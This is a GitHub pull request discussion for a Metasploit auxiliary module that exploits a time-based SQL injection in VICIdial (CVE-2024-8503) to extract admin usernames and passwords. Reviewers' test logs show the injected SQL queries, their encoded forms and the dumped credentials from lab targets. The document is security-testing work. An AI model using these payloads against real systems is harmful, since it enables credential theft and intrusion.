-
Notifications
You must be signed in to change notification settings - Fork 14.1k
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add VICIdial Time-based SQL Injection Module (CVE-2024-8503) #19453
Conversation
Thanks for your pull request! Before this can be merged, we need the following documentation for your module: |
@dledda-r7 VICIdial is a PITA to setup (from my recollection). See #16732 or ping @jheysel-r7 . Just a heads up on that! |
Thanks @h00die! I'll take a look on that. |
Hello @Chocapikk,
|
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Hello @Chocapikk, Thanks for your PR!
After following the new setup you shared everything worked smoothly, besides the fact VICIDial seems to have a broken DHCP client that didn't work well with my Hyper-V.
Leaving here the logs of the successful exploitation and couple of comments.
VERBOSE = true
msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > set rhosts 172.26.247.31
rhosts => 172.26.247.31
msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > exploit
[*] Running module against 172.26.247.31
[*] Checking if target is vulnerable...
[+] Target is vulnerable to SQL injection.
[*] {SQLi} Executing (select group_concat(MSKrsI) from (select cast(concat_ws(';',ifnull(User,''),ifnull(Pass,'')) as binary) MSKrsI from vicidial_users limit 1) sadi)
[*] {SQLi} Encoded to (select group_concat(MSKrsI) from (select cast(concat_ws(0x3b,ifnull(User,repeat(0xd4,0)),ifnull(Pass,repeat(0x26,0))) as binary) MSKrsI from vicidial_users limit 1) sadi)
[*] {SQLi} Time-based injection: expecting output of length 13
[!] No active DB -- Credential data will not be saved!
[+] Dumped table contents:
vicidial_users
==============
User Pass
---- ----
6666 password
[*] Auxiliary module execution completed
VERBOSE = false
msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > exploit
[*] Running module against 172.26.247.31
[*] Checking if target is vulnerable...
[+] Target is vulnerable to SQL injection.
[+] Dumped table contents:
vicidial_users
==============
User Pass
---- ----
6666 password
[*] Auxiliary module execution completed
msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) >
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
Thanks @Chocapikk, looks great, testing was as expected
msf6 auxiliary(scanner/http/vicidial_sql_enum_users_pass) > run
[*] Running module against 172.16.199.145
[*] Checking if target is vulnerable...
[+] Target is vulnerable to SQL injection.
[*] {SQLi} Executing (select group_concat(rqg) from (select cast(concat_ws(';',ifnull(User,''),ifnull(Pass,'')) as binary) rqg from vicidial_users limit 1) sK)
[*] {SQLi} Encoded to (select group_concat(rqg) from (select cast(concat_ws(0x3b,ifnull(User,repeat(0xae,0)),ifnull(Pass,repeat(0xca,0))) as binary) rqg from vicidial_users limit 1) sK)
[*] {SQLi} Time-based injection: expecting output of length 9
[!] No active DB -- Credential data will not be saved!
[+] Dumped table contents:
vicidial_users
==============
User Pass
---- ----
6666 1234
[*] Auxiliary module execution completed
Release NotesThis adds a new auxiliary module that exploits a time-based SQL injection vulnerability in VICIdial to enumerate admin credentials. This auxiliary module is designed for MySQL databases and allows the retrieval of admin usernames and passwords through blind SQL injection. |
Hello, Metasploit team!
This PR introduces a new auxiliary module that exploits a time-based SQL injection vulnerability in VICIdial to enumerate admin credentials. This auxiliary module is designed for MySQL databases and allows the retrieval of admin usernames and passwords through blind SQL injection.
Key Features:
In Progress:
Documentation is still being worked on, so it’s not included in this PR yet.but I haven’t implemented the RCE portion yet—focusing first on the SQLi auxiliary.